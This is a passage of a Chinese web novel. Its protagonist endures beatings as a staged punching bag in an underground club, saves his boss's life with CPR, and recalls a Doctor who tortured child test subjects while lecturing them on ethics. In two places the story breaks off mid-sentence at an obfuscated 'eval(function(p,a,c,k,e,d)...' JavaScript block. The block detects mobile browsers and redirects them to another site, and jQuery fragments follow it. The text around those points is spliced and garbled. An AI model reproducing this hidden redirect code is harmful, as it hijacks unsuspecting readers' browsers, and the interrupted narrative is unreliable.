生存本能迫使他将困惑压下。天快亮了,他需要寻找今天份的食物,思考如何凑齐下一期呼吸税。他挣扎起身,将生死之誓塞回怀里,像一道真正影子,融入加仑城黎明前最深的黑暗,继续那看不到尽头、在梦境与现实夹缝间挣扎求存的轮回。而那座巨大教堂,依旧在他身后,如同沉默的、充满谜团的巨兽,等待他或许永远无法触及的答案。 8. 【四】间章 未很清楚,人肉沙包这份工作绝非长久之计。每一次重生后,那些断裂的骨头、破裂的内脏虽然会恢复如初,但濒死时的剧痛和绝望还是会深深烙印在他的神经记忆里,缓慢地侵蚀着他本就所剩无几的感知。 然而,一个冰冷而讽刺的事实是——他实在是太擅长这个了。 这种擅长,并非源于技巧或力量,而是根植于他那被博士的实验室彻底塑造过的、对痛苦的非人耐受度,以及数百次死亡轮回所赋予的、对伤害的精准预判和承受能力。擂台上那些足以让普通人瞬间崩溃的打击,落在他身上,引发的生理反应——肌肉的痉挛、骨骼断裂的角度、甚至是鲜血喷溅的轨迹——都精准得如同经过精密计算。他能精确控制自己“昏迷”的时机,能在承受致命伤时依旧保持一丝观察环境的清醒,更能凭借对痛苦的深刻理解,在看似惨烈的伤势中,巧妙地避开真正的生命危险。 与博士那些旨在彻底摧毁意志、探索生命极限的实验相比,这个虐待日结班反而显得……近乎温和。这里确实充斥着暴力与恶意,但目的却简单直接——提供宣泄,赚取利润。因此,出乎未意料的是,这个藏身地下的残酷场所,竟然还保留着一点扭曲的规矩或者说员工福利。 比如,每一场表演开始前,那个被称为怀沙的、总是穿着一身沾满不明污渍的皮质围裙的负责人,会默许手下给未发放一份食物。通常是一碗粘稠的、散发着古怪合成气味的营养糊,或者一块硬得像石头、但至少能提供热量的能量块。这些东西,在未尝来依旧算不上美味,甚至带着工业原料的涩感,但奇怪的是,吃下去后,他身体的不良反应——那种熟悉的、仿佛内脏被无形之手搅动的绞痛感——会比他在外面垃圾桶里找到的任何东西都要轻微的多。这微小的差异,对于他的身体而言,已是难得的优待。 更让他最初感到困惑的是,在他连续工作了十几次轮回,展现出惊人的耐用性和从不反抗、也从不索求更多的麻木态度后,怀沙在某次他上场前,用沙哑的嗓音,含糊地提醒了他一句:“一会儿第三回合,右边肋下,会有点‘反应’,配合着倒下去就行,别硬撑。” 未当时并不完全理解。直到那场比赛中,对手的拳刃在触及他右肋时,他清晰地感觉到皮下的肌肉组织在某种预先植入的微型装置作用下,猛地爆开一团逼真无比的血花,同时传来一阵尖锐但完全可控的、类似神经电击的刺痛。视觉效果极其惨烈,但实际造成的伤害,远不如第一次轮回时被直接打断肋骨那么严重。 他瞬间明白了。这不是真正的虐杀,这是一场……“戏”。观众们花钱想看的,是鲜血、是惨叫、是看似残忍的折磨,而俱乐部提供的就是这种视觉刺激。至于演员们是真是假,是死是活,只要场面足够刺激,能维持生意,怀沙并不在乎。甚至,为了维持稳定的演员来源,减少频繁更换耗材的成本和麻烦,他开始给像未这样听话、耐用的沙包,皮下植入这种可控的血液包和痛觉模拟器。 真正的伤害依然存在,尤其是为了维持真实性,总需要一些实实在在的打击,但频率和强度,相比最初纯粹的血腥发泄,已经有所控制。这微妙的转变,源于未展现出的价值——他是一具极其逼真、极其耐用、且绝不会因为真实痛苦而失控或抱怨的完美道具。 唯一让未始终感到不适的,是必须近距离面对那些陌生的、充满亢奋和恶意的观众,以及擂台上那些扮演施暴者的、气息凶悍的同事。他习惯了黑暗和角落,习惯了被无视。然而,他那源于实验室创伤的、深入骨髓的沉默和近乎绝对的被动,在这种扭曲的环境下,反而成了一种优点。他不会像其他一些被拐卖或逼迫而来的人那样,在恐惧和绝望中歇斯底里地哭喊、求饶或是徒劳地反抗,也不会在获得一点点虚假的安全感后,就试图抱团或争抢。他只是承受,像一块冰冷、吸音的石料,完美地吸收了所有施加于他的暴力,却不产生任何噪音。 这种性格,意外地符合了怀沙的需求——一个稳定、可靠、不会惹麻烦的工具。其他那些同样身处底层的沙包们,有的会彼此争斗,在更弱者身上发泄怨气,有的会试图巴结打手或怀沙,以期获得稍微好一点的待遇。未则完全游离于这些无意义的消耗之外。他既因为返祖者的身份和毫无能量波动的特质被大多数人视为彻底的废物而遭到群嘲,也因其极致的麻木和沉默而被下意识地无视。这反而形成了一种诡异的保护,让他避免了卷入那些底层互害的无聊戏码,能够将所有精力都用于在痛苦间歇中恢复体力,以及思考如何获取下一顿食物和信用点。 他早已放弃了偷窃。那需要敏捷、运气,以及应对突发状况的反应能力,而这些,在日复一日的挨打和濒死体验中,正逐渐从他身上流失。他将目光投向了城市运作中更底层、更不引人注目的环节——垃圾。 他开始系统地盘城市的垃圾倾倒点。不是教堂附近那些零散的垃圾桶,而是大型区域的、定时的垃圾收集站,以及一些特定工厂或居住区外围的废弃物堆放处。他观察垃圾车的路线和倾倒时间,记住哪些类型的垃圾可能含有尚可使用的零件、未被完全污染的包装材料,或者是……可以果腹的、被丢弃的过期食品(虽然这类东西越来越少)。 他会像一只谨慎的秃鹫,在垃圾车离开后,迅速而安静地翻找,挑出那些他认为或许能换取几个信用点的好东西:一小捆断裂但材质尚可的金属线,几个破损但芯片可能完好的旧终端外壳,甚至是几件虽然肮脏但布料还算完整的废弃衣物。他将这些东西收集起来,带到更偏僻的、由一些更底层的拾荒者自发形成的垃圾市集,换取微薄的收入。这个过程同样充满不确定性,但至少,相比于偷窃,被抓住的风险稍低,而且……不需要与太多活人产生交集。 至于那份特殊服务的活计,他并未完全放弃。当沙包工作的收入不足以支付即将到期的呼吸税时,他依然会拖着疲惫伤痛的身体,走向那些灯光暖昧的场所。对尊严的追求早已被他从灵魂中彻底剥离,那是一种过于奢侈、且毫无用处的情感。生死之誓似乎也默认了他的选择,不再像第一次那样激烈地反抗,只是在他踏入那些场所时,书册会传来一种更加沉滞、更加冰冷的共感,仿佛在无声地记录着每一次灵魂的沉沦。 有一次,或许是因为他连续多日未曾光顾,又或许是因为他看上去比平时更加虚弱可欺,他被那家场所的打手强行扣留,要求他补偿场地占用费和潜在客户流失损失。他被推搡进一个散发着浓烈消毒水和霉味的小房间,门被从外面锁上。 未没有挣扎,也没有呼喊。他只是抱着生死之誓,蜷缩在角落里,等待着。或许是又一次死亡,或许是其他什么。他甚至没有去思考逃离的方法,大脑一片空白般的麻木。 出乎意料的是,几个小时后,门被打开了。站在门外的,竟然是怀沙。他嘴里叼着一根快要燃尽的劣质烟卷,对着房间里那几个明显有些紧张的打手,沙哑地开口:“这人是我场子里的‘固定资产’,坏了规矩,你们赔?” 没有多余的废话,甚至没有看向未。但那几个打手显然认识怀沙,或者说,忌惮他背后可能代表的、这片区域地下秩序的某种力量。他们悻悻地让开了路。 怀沙甚至没等未走出来,就转身离开了,仿佛只是来处理一件微不足道的小事。 从那次之后,未再去那些场所,再也没有被强行扣留过。似乎有一条无形的界限被划下,默认了他作为“怀沙的人”的身份,从而获得了一点可怜巴巴的、不被额外侵扰的保护。 生存的环境,看起来似乎比最初踏入这座城市时,好了那么一点点。他有了相对稳定的收入来源,有了获取食物的勉强可靠的途径,甚至有了那么一丝丝极其脆弱的、基于利用价值的保护。 然而,未的内心没有丝毫波澜。这种改善,如同在无尽深渊的岩壁上,多出了一道勉强可以抓手攀附的浅痕,并不能改变他仍在不断下坠的事实。他依旧麻木,依旧疲惫。每一天,他都在为支付呼吸税、寻找食物、承受痛苦而忙碌,像一架被设定好程序的、破损的机器,重复着单调而绝望的循环。 他清晰地知道自己的能力——不死,或者说,死亡后能重生。这个能力让他敢于承受常人无法想象的伤害,让他能在最恶劣的环境下一次次尝试。但是,除了不怕死之外呢?这个能力还能用来做什么? 他尝试过在死亡前,刻意记住某些信息,比如某条小巷的巡逻规律,某个垃圾堆可能出现的稀有废弃零件。但这本质上,还是利用不死去获取生存资源,是不怕死的延伸。 他模糊地感觉到,生死之誓和他这种诡异的轮回,应该隐藏着更深层的力量。那些梦境,那些与书中墨迹产生奇异共鸣的瞬间,都似乎都在暗示着什么。但他无法理解,无法捕捉。他的精神被创伤和生存压力折磨得过于疲惫,他的思维被漫长的麻木所冻结。他像是一个手持强大武器原始人,只知道用它最笨重、最直接的一面去敲击坚果,却完全不懂得如何激发其内在的真正力量。 他甚至没有余力去思考为什么怀沙会帮他解围。是看中了他的耐用性,不想损失一个稳定的道具?还是有什么更深层的原因?他懒得去想,也不在乎。 …… 地下俱乐部沉在城市的肠胃最底层,空气是凝固的,汗臭、干涸发黑的血锈、刺鼻的劣质消毒水,还有某种兴奋剂燃烧后留下的甜腻尾调,混成一种实质性的压迫,沉甸甸地压在每一个角落。未刚刚从垫子上下来,左臂软塌塌地吊着,额角裂开的口子不断渗出血,混着汗水,沿着苍白的皮肤滑落,滴进垫子早已浸透的暗色污渍里。他靠着冰冷滑腻的金属墙壁慢慢坐下,习惯性地把自己蜷缩起来,像一块试图减少表面积以保存热量的石头。 怀沙踱了过来,瘦削的身形裹在沾满不明污渍的皮围裙里,脚步带着一种长期熬夜和不良作息特有的虚浮。他没什么表情,把一块用油纸胡乱包着的肉饼扔到未腿边,又拎过来半瓶浑浊的水。吃了。他的声音像是砂纸摩擦生锈的铁管。 未伸手拿起食物,声音很低:“谢谢老板。” 那语调经过精准控制,既不显得热络,也不至于冷漠,是一种刻入骨髓的、面对掌控者时应有的、带着倾向性的顺从。他小口啃着肉饼,味同嚼蜡,但胃袋迫切需要这些粗糙的热量。他注意到怀沙的目光在他腿上那条新裤子上短暂停驻了一下。裤子是怀沙前几天扔给他的,布料依旧粗糙,但至少合身,没有破洞。 下次,732号上场。怀沙点燃一支烟,烟雾模糊了他苍白憔悴却轮廓清晰的脸。 “他喜欢看对手挣扎。你倒下去的时候,多抽搐几下,惨叫…逼真点。” 未咽下嘴里干涩的食物,语气却维持着那练习过千百遍的顺从:“明白。我会做好。” 这是刻在骨子里的反应模式——博士的训练要求他,面对自己时,回应必须表现出忠诚的倾向,不能是麻木的接受,更不能是抗拒。 怀沙眯了眯眼,鼻腔里似乎哼出一声若有若无的气音,没再说什么,转身走开。未能感觉到,怀沙对他这种听话且省心的态度是受用的,并非出于情感,更像主人对一件顺手工具的满意。 这种扭曲的平衡持续了一段时间,直到某个午后。俱乐部还没营业,只有零星几个清洁工拖着工具制造出空洞的回响。怀沙正清点着前一晚的收入,手指沾着唾沫翻动信用点票据,突然,他整个人猛地一僵,票据雪花般散落,脸色瞬间灰败,一只手死死抠住胸口,另一只手在空中徒劳地抓挠了几下,瘦削的身体像截断开的木桩,直挺挺向前栽倒,发出沉重的闷响。 未正蜷在角落假寐,声音惊动了他。他抬头,看到怀沙倒在地上抽搐的模样,瞳孔骤然收缩。几乎没有思考的时间,身体已经先于意识冲了过去。 博士的实验室里,痛苦是主旋律,但维持实验体生命体征的急救知识也像副歌一样被反复灌输。心脏骤停的流程,清晰得如同刻在神经元上。 他跪在怀沙身边,动作冷静得没有一丝波澜。检查颈动脉,没有搏动。清理口腔异物。胸外按压,人工呼吸。一下,两下,三下……节奏稳定,力道标准。周围响起惊呼,有人跑去找驻场医生,但未的世界里只剩下手下这具正在迅速冷却的躯体和脑中那条冰冷的指令线。 时间在一下下的按压中变得粘稠而漫长。不知过了多久,仿佛几个世纪,又仿佛只是几次心跳的间隙,怀沙的身体猛地痉挛了一下,胸口开始出现微弱但确实存在的起伏。 未停了下来,跪坐在一旁,微微喘息,看着怀沙灰败的脸上一点点渗回稀薄的血色。 驻场医生提着药箱匆匆赶来,检查后松了口气,看向未的眼神里带着惊异,然后开始进行后续处理。 怀沙被抬进了休息室。几个小时后,他醒了过来,虽然虚弱,但那双总是浑浊的眼睛已经恢复了惯常的、带着审视的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当最基本的生存和呼吸税不再是悬在头顶的利剑,未的注意力开始像触须般,小心翼翼地向更远处探去。他通过观察和偶尔飘进耳朵的碎片信息,了解到加仑城这片混乱泥沼之下,也潜藏着一套属于自己的规则,尤其是在黑市。那里不只有拾荒和底层互害,也有委托的发布和承接,越是困难的委托,带来的名望和收益就越是惊人。 某次,趁着给怀沙送水的机会,未低声提出了请求:“老板…我,想接黑市的委托。” 怀沙正清点着一批刚送来的、气味刺鼻的医疗物资,头也没抬,嗤笑一声:“你?凭什么?” 未沉默了一下,说:“…我需要资格。” “资格?”怀沙终于抬起头,眼睛里是毫不掩饰的嘲讽,“那玩意儿不是你想要就能给的。你没名头,没战绩,身上连个像样的义体或者能量反应都没有,哪个冤大头会给你委托?连委托都接不到,你怎么证明自己?证明不了自己,你就永远是个没资格的弱鸡。死循环,懂吗?” 未站在原地,没有说话。怀沙的话像冰冷的解剖刀,精准地剥开现实,露出下面残酷的骨架。 怀沙打量了他几眼,似乎想到了什么,弹了弹烟灰:“这样吧,别说我不给你机会。你去擂台上,不用表演,就打一场真的。打赢一场,就一场。打赢了,我帮你挂个名,接第一个委托,报酬…呃,都归我。” 为了这场资格赛,未训练得更加拼命。他在废弃空地上对着锈蚀金属板练习直拳,直到指关节破皮流血;他回忆每一个击败过他的对手动作,试图找出破解的方法。 比赛的日子到了。对手是个身材不算高大,但动作极其敏捷、植入体闪烁红光的家伙。铃声一响,未按自己研究的步法试图周旋,但对方速度远超他的反应。仅仅三个回合,未就被一记刁钻肘击砸中太阳穴,眼前一黑,失去意识。 他再次在简陋的医疗室里醒来,浑身剧痛。怀沙站在床边,脸上没什么表情。 “输了。”未陈述道,声音虚弱。 “嗯。”怀沙应了一声,扔给他一管镇痛剂。 “不过…你小子,好像比之前耐揍了点,躲那几下,有点样子了。”他顿了顿,语气带着点近乎残忍的直白,“虽然不会魔法还是一个很大的弱项,不,应该是最大的。你知道他们都是用魔法提升力量和速度的吗?这还没给你算进阶魔法的那帮家伙。” 未默默地接过镇痛剂,没有使用。疼痛于他,早已是呼吸一样的常态。 “机会,”怀沙看着他,“因为你帮过我,我给你留着。什么时候你觉得能行了,再说吧。” 尽管生活的大部分都被俱乐部和怀沙占据,未从未真正放弃对那座大寂静教堂的调查。成为信徒,意味着可能跨越那无形的阶级壁垒,意味着或许能摆脱这无休止的底层挣扎。这念头对他有着近乎本能的吸引力。但他很清楚,怀沙绝不会同意,他只能像阴沟里的老鼠,偷偷进行。 他观察了很久,发现那些神职人员极少单独行动,总是成群结队,步履匆忙,周身笼罩着一种让他极度不适的安宁力场。靠近他们,就像靠近教堂本体一样,会引发胃部的翻搅和神经性的恶心。 未在加仑城的栖息点,除了俱乐部那个怀沙只允许他睡地板的小储藏室,主要就是垃圾场和城市边缘那片荒凉的公共墓地。他更喜欢墓地。这里虽然死寂,但异常安静,罕有人至,而且相比于污秽不堪的垃圾场,显得干净许多。 就是在墓地,他发现了那个不一样的神职人员。 那是一个傍晚,夕阳的余晖给冰冷的墓碑染上虚假的暖意。未刚在墓地一个废弃的土包后面蜷缩下来,就看到了那个身影。他穿着神职人员的深色长袍,但袍角边缘有些磨损起毛,身影在渐浓的暮色中显得模糊而单薄。他既不像来举行仪式,也不像来祭奠某人,只是在一排排沉默的墓碑间缓慢地踱步,偶尔会在一块看起来年代格外久远的石碑前停下,伸出手指,极轻地拂过上面模糊的刻字,或者干脆找一块平整的石头坐下,望着远处城市那片虚假繁荣、闪烁不定的霓虹,一动不动,仿佛自己也成了墓园的一部分。 未尝试过靠近。但如同靠近教堂和其他神职人员一样,随着距离缩短,那股熟悉的、令人作呕的排斥力场就会涌现,像一堵无形的墙,迫使他停下脚步。他只能远远地观察。 这个神职人员似乎…很孤独。这是未模糊的感觉。他的行为模式,与其他那些表情漠然、行动划一的神职人员截然不同。他来这里做什么?祭奠某个不为人知的名字?还是仅仅…寻找一个无人打扰的角落,独自待着? 未不知道答案。他像一块被遗忘在阴影里的石头,隐在墓碑的掩护后,看着那个模糊的身影来了又走,周而复始。这成了他调查教堂计划中,一个意外发现的、持续存在的谜题。而他与那个身影之间,似乎永远隔着一道无形的、令他生理性不适的壁垒,无法跨越,只能遥遥相望。 9. 【四】间章2 记忆像深水下的淤泥,被偶然的思绪搅动,翻涌起一些沉淀的、带着刺骨寒意的碎片。 未蜷缩在俱乐部储藏室的阴影里,外面是拳脚到肉的闷响和癫狂的欢呼,而他的意识却不受控制地滑向了更久远、更深处——那片被惨白灯光笼罩的、名为实验室的囚笼,以及那个塑造了他最初认知的人。 博士是个奇怪的存在,这种奇怪并非源于外表的狰狞或行为的狂乱,恰恰相反,他大多数时候显得异常冷静、理性,甚至可以说……富有条理。他的奇怪,在于那套严密包裹着残酷本质的、自相矛盾的行为逻辑。 训练是日常。 高强度的体能负荷、神经反应测试、疼痛耐受阈值探索……未和其他实验体一样,在精密的仪器和博士冰冷的注视下,一次次挑战并突破着身体的极限。 然而,当未的身体开始显露出青春期应有的、趋向强壮的迹象时,博士会定期给他注射一种药物。 针剂推入静脉时带着细微的刺痛感,博士会一边操作,一边解释:“肌肉过度生长会影响神经传导效率和身体柔韧性,不利于后续潜能开发项目的进行。这是必要的生理调控。” 未那时并不完全理解这些词汇,但他能感觉到,某种本应自然发生在他身体内部的变化,被硬生生遏制了。他像一棵被刻意修剪、限制生长的植物,只能朝着博士预设的方向扭曲发展。 情感回应也是训练的一部分。 博士会在施加痛苦——可能是电击,可能是药物注射带来的剧烈不适,可能是长时间的精神压迫——之后,要求未给出回应。 不是沉默的忍受,那会被视为抗拒;也不是歇斯底里的哭嚎,那会被判定为失控。博士需要的是恰当的、带有情感倾向的回应。 比如,在一次持续数小时、令人几近崩溃的感官剥夺实验后,博士解开束缚,会看着未的眼睛问:“感觉怎么样?” 未必须调整呼吸,压下喉咙里的哽咽和胃部的翻搅,用尽可能平稳、甚至带着一丝微弱感激的语气回答:“很难受,博士。但……谢谢您让我停止。” 他必须表现出理解这是为了实验,并对此表示出一种扭曲的忠诚和依赖。博士似乎在通过这些,确认某种掌控感,一种不仅控制身体,更能拿捏精神的绝对权力。 服从是铁律。 实验室里,博士的话是不可违逆的指令。从作息时间到实验内容,从未的饮食到他能接触到的信息,一切都由博士决定。然而,在某些极其特定的环境下,博士又会允许,甚至鼓励“不听话”。 例如,在一个复杂的多线程问题解决测试中,当未严格按照博士之前教导的、看似唯一正确的方法去操作却屡屡失败后,博士会在一旁观察,并不提示,直到未在绝望和困惑中,自己摸索出一条截然不同、甚至看似违背常理的路径并取得成功时,博士才会露出一丝极淡的、近乎满意的神色。 “很好,”他会说,“在规则本身成为障碍时,打破规则是更高层次的智慧。但记住,这仅限于‘特定情境’。” 这种有限的、被严格定义的反抗,反而成了博士衡量他们潜能的一种尺度。 但在所有这些矛盾之中,最核心、也最让未在日后感到困惑和寒冷的,是博士对“正确性”近乎偏执的强调。 博士从不将自己的行为包装成善意或为了更大的目标。他让未承受极致的痛苦,在未因剧痛而意识模糊时,他会用清晰而冷静的声音在一旁陈述:“根据《人类权益基本公约》第7条第3款,非自愿条件下施加足以造成严重身心创伤的疼痛体验,属于绑架和胁迫行为,是明确违法的。” 他像是在进行一场客观的学术报告,语气里没有任何情绪波动,仿佛他正在实施的暴行与他口中陈述的法律条文是存在于两个平行宇宙、毫不相干的事物。 实验体之间并非完全隔绝,偶尔会有接触。孩子之间难免有摩擦。未清晰地记得那两个代号:A-03和J-94。他们之间爆发了一次激烈的冲突。 A-03,一个性格相对外向些的男孩,指控J-94联合其他几个实验体孤立他,偷藏他的配给品。J-94,则显得更加内向和敏感,激烈地否认,并反诉A-03污蔑他,试图用暴力威胁他。 这种事情在通常的类似环境中,可能只会被管理者粗暴地各打五十大板,或者干脆惩罚挑头者以儆效尤。但博士的处理方式截然不同。 他暂停了当天的常规实验,调出了他们活动区域的所有监控录像。他甚至没有简单地宣布惩罚,而是将所有的实验体聚集在一起,布置了一个简易的“听证区”。 他让A-03和J-94分别陈述自己的理由和证据,允许他们互相提问,其他实验体可以作为“旁观证人”提供自己看到的情况。 那场面极其诡异——一群身穿统一白色病号服的孩子,在一个成年人的主导下,在一个科学实验室内,进行着一场关于孤立与污蔑的、近乎法庭辩论的流程。 博士则扮演着法官和检察官的双重角色,他引导着提问,展示着录像片段里一些被忽略的细节:J-94看向A-03与其他实验体互动时,眼神中一闪而过的羡慕和落寞;A-03在分发物品时,无意中忽略了J-94几次,只因J-94总是躲在人群边缘。 辩论持续了很久。最终,博士并没有简单地判定谁对谁错。他像解构一个复杂的实验数据一样,梳理了整个事件: “A-03,你指控J-94孤立你,是基于他多次在你与其他个体互动时表现出回避态度,以及你个人物品疑似缺失。但监控显示,J-94并未主动指使或联合他人排斥你。你的指控,源于你对群体动态的敏感度不足,以及将自身不适感急于归因于外部敌意的倾向,这构成了‘误解’和‘武断指控’的错误。” “J-94,你因自身性格内向、难以融入群体,而对A-03易于获得关注的特质产生了潜在的羡慕,甚至嫉妒。这种情绪导致你在他主动靠近时采取了消极回避的态度,并在A-03质问你时,因感到被冤枉而情绪失控,进行了过激的否认和反诉,这构成了‘因情绪驱动而加剧矛盾’的错误。” 他甚至分析了他们的心理动机,联系到他们各自的成长经历(尽管那经历也全然是实验室塑造的)——“J-94的孤独感源于早期社会化训练的缺失,A-03的敏感则与之前一次失败的群体适应性测试有关……” 最后,博士总结道:“此次冲突,并非单一方的责任。双方均因未能准确理解对方行为动机,以及未能有效管理自身情绪,导致了误解的升级。细微之处,皆有因果。你们,都有错。” 整个过程,博士逻辑严密,条理清晰,甚至可以说公正。他指出了每一个细微的偏差,分析了每一处心理的动因。他让所有人都明白了这场冲突的对错所在。 然而,正是这种明白,让未在后来无数个浑噩或清醒的时刻,反复咀嚼,感到一种彻骨的寒意。 博士清晰地知道什么是“对”的,什么是“错”的。 他知道绑架是错的,胁迫是错的,让孩子相互指责并剖析内心是错的。他似乎掌握着一套完整的、关于善恶对错的标尺,并且能够精准地运用它来分析实验室内发生的一切小事。 但矛盾在于,他同时也在系统性地、冷静地实施着更大、更根本的错误。他将他们囚禁,剥夺他们的自由和未来,在他们身上进行着可能致命或造成永久创伤的实验。 他似乎将自己剥离成了两个部分:一个是在微观层面严格执行正确标准的仲裁者;另一个,则是在宏观层面冷酷践踏所有基本伦理的施行者。 每次,当未,问出那个问题:“博士,什么是错的?” 博士总能给出一个符合常理、逻辑自洽,甚至引经据典的答案。他会解释法律条文,会分析道德困境,会阐述社会规范。他的回答无懈可击,像一本行走的伦理学教科书。 但正是这些正确的回答,与实验室里日复一日上演的错误现实,形成了最尖锐、最令人绝望的讽刺。 博士仿佛在用一个无比精密的框架,去证明框架本身的虚无;用对细微正确的坚持,去反衬整体错误的荒诞。 他给人的感觉,并非不知道自己在作恶,而是……太知道了。 他清醒地、理智地、并且似乎带着某种观察者的疏离感,在践行着这一切。他似乎将整个实验室,包括他自己在内,都视为一个庞大的、探索某种界限的实验场。 而“正确”与“错误”,只是他在这场实验中,需要不断记录、分析、并用以调整实验参数的变量而已。 这种认知,比面对一个纯粹的疯子或暴君,更让未感到迷失和无力。疯子的行为是不可预测的,暴君的压迫是直白而野蛮的。 但博士,他用理性编织了一张无形的网,将绝对的“错误”包装在局部的“正确”之中,让你甚至在承受痛苦时,都无法理直壮地恨他,反而会陷入对他那套逻辑的困惑和自我怀疑。他摧毁的,不仅是身体,更是对世界基本秩序的理解和信任。 …… 记忆的蛛网黏连起更多破碎的片段,博士的形象在那片惨白的灯光下愈发显得怪异而难以捉摸。未蜷缩在现实的阴影里,感受着俱乐部地板的冰冷透过薄薄的垫子渗入骨骼,与记忆实验室金属台的寒意如出一辙,却又截然不同。博士的奇怪,远不止于那些表面的矛盾。 在更早的时候,未曾从那些代号排序靠前的孩子——比如C往前的那些——零星的、小心翼翼的交谈中听到过一些事。那些孩子,年龄与他相仿,却似乎承载着更久远的实验室记忆,或许他们曾被冷冻、沉睡,在某个时间点被博士重新唤醒,原因未知。 他们提到,在以前,博士在某些特别…“过分”的实验项目开始前,会先在自己身上尝试一遍。 “他给自己注射过那种神经毒素,就比给我们用的剂量低一点点,” C-12有一次在短暂的休息间隙,声音压得极低,对未和另一个实验体说,“我偷偷看到的,他躺在观察室里,仪器尖叫个不停,他整个人都在抽搐,冷汗把衣服全浸透了…后来躺了三天才能下床。” 另一个C开头的孩子补充:“还有一次,是那个感官过载测试原型机,他把自己绑进去,开了十分钟…出来的时候吐得一塌糊涂,眼神都是散的,好几天没来实验室。” 这种行为,在某个阶段后,停止了。博士不再亲自尝试那些极端的痛苦。他转而完全依赖于理论计算、动物预实验,以及……他们这些实验体直接的数据反馈。 这种转变的原因,无人知晓,或许只是博士认为数据积累已经足够,无需再付出自身代价;或许有其他更深层的原因。但这短暂的亲身试法,为博士那冰冷的面具增添了一抹难以言喻的色彩——他并非天生麻木,他曾理解痛苦,以最直接的方式。只是这种理解,最终被他摒弃了,或者,纳入了某种更冷酷的成本计算之中。 另一件事,未记得格外清晰,因为它触及了博士那套正确性逻辑下一个更尖锐的悖论。 C-38,一个平时几乎不说话,如同影子般的男孩。在某次集体心理评估后的自由陈述环节,他抬起头,看着博士,用一种近乎梦呓般的平静语气说:“博士,我觉得…我活着,都是为了您。” 这句话在寂静的实验室里落下,带着一种令人不安的虔诚。未看到旁边有几个孩子,眼神微微闪动,似乎…对此抱有隐约的认同。在这样一个被完全掌控、与世隔绝、博士即是唯一意义来源的环境里,产生这种想法,几乎是一种必然。 然而,博士的反应出乎所有人的意料。他没有流露出丝毫满意或受用,反而皱紧了眉头,眼神骤然变得锐利而…严厉。他打断了可能出现的其他附和,目光紧紧锁住C-38。 “C-38,这种想法是错误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848494|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 博士的声音不高,却带着一种不容置疑的断然,“你必须立刻停止这种危险的倾向。” 实验室里一片死寂。C-38茫然地看着博士,似乎不明白自己错在哪里。 博士进一步阐述,语气冰冷:“个体的存在价值,不应完全依附于另一个个体。这种彻底的精神依附,会导致独立人格的丧失,判断力的扭曲,是极其不健康且危险的。你的存在,首先是为了你自身生命系统的维持与潜在可能性的开发,其次才是…配合实验进程。记住,永远不要将你的生存意义完全寄托于他人,哪怕是我。” 这番话,逻辑清晰,甚至…符合某种普世的心理学常识。他指出了C-38想法中的错误,并将其定性为危险的倾向。他似乎在试图…纠正一种扭曲的心理状态,尽管这种扭曲,恰恰是他自己一手塑造的环境所必然催生的。 他像是一个精心搭建了迷宫的工匠,却在迷宫中某个角落立下牌子,告诫走入者“此地禁止迷失”。牌子本身是对的,但立牌子的人,正是制造迷宫的人。 如今,未身处加仑城这片更大的、更加光怪陆离的“迷宫”之中。他回看自己的处境,审视着周遭的一切。 他不觉得老板怀沙是对的,怀沙的利用直接而赤裸,带着地下世界的残酷法则,无关对错,只有利益和生存。他不觉得基因至上酒馆里那套弱肉强食的价值观是对的,那只是另一种形态的暴力与歧视。他也不觉得大寂静教堂所宣扬的那套秩序与救赎是对的,那力场让他生理不适,其下的表演性怜悯和僵化的规则,与他内心深处某种东西格格不入。 在加仑的每一个角落,未始终对“人身自由被彻底禁锢”这件事,抱有一种近乎本能的、选择性的高度警觉和回避。 他可以在俱乐部挨打,可以去做那些不堪的工作,可以翻捡垃圾,可以忍受饥饿和寒冷,这些痛苦他都能麻木地承受。但一旦他察觉到情况可能滑向彻底的、无法挣脱的囚禁——比如那次被特殊场所的打手锁在房间里,比如更早之前察觉到狼耳男子可能想将他带去某个“老巢”的意图——他的第一反应,不是妥协或周旋,而是近乎条件反射般地,逼迫自己走向死亡,利用回溯的能力逃跑。 这种对“绝对失去自由”的极端抗拒,像一道深深的刻痕,烙印在他的行为模式中。他甚至自己都未曾深思过这背后的原因,这只是一种本能,一种在漫长绝望中唯一被紧紧攥在手里的、关于“自我”的模糊底线。 他不感激帮过他的人。怀沙替他解围,包他食宿,交呼吸税,他接受,但内心毫无波澜。他知道这源于自己展现出的价值和那次急救带来的额外绑定,是一种交换,而非恩惠。他也不感激伤害他的人。那些擂台上的施暴者,酒馆里的嘲弄者,街道上的欺凌者,他们的存在如同风雨雷电,是这残酷世界的自然现象,恨他们…都显得多余且耗费精力。 感激与仇恨,这些浓烈的情感,似乎早已在博士的实验室里,在一次次的轮回中,被消耗殆尽,或是被刻意剥离了。 那么…博士呢? 这个念头如同黑暗中悄然滋生的毒蔓,突然缠绕上未几乎停滞的思绪。 博士现在…算是帮了他吗? 这个想法本身,就带着一种惊心动魄的荒谬。博士是这一切的起点,是痛苦的根源,是那座白色监狱的缔造者。他施加的痛苦,他灌输的扭曲逻辑,他塑造的麻木…这一切,难道在某种意义上,反而帮助了未,让他能够在这吃人的加仑城里,像一株顽强的毒草般,以这种不堪的姿态存活下来? 是他的训练,让自己能承受俱乐部日复一日的殴打?是他的矛盾教育,让自己对怀沙的利用和这城市的种种不公能够冷眼旁观,而不至于精神崩溃?是他对人身依附的严厉批评,无形中在自己心底埋下了对彻底失去自由的极端抗拒,使得自己还能保有自杀回溯这最后的手段? 如果…如果没有博士,自己是否会像一个真正正常的孩子,在第一次面对加仑城的残酷时,就彻底破碎,或是早早沦为某个势力的玩物直至消亡? 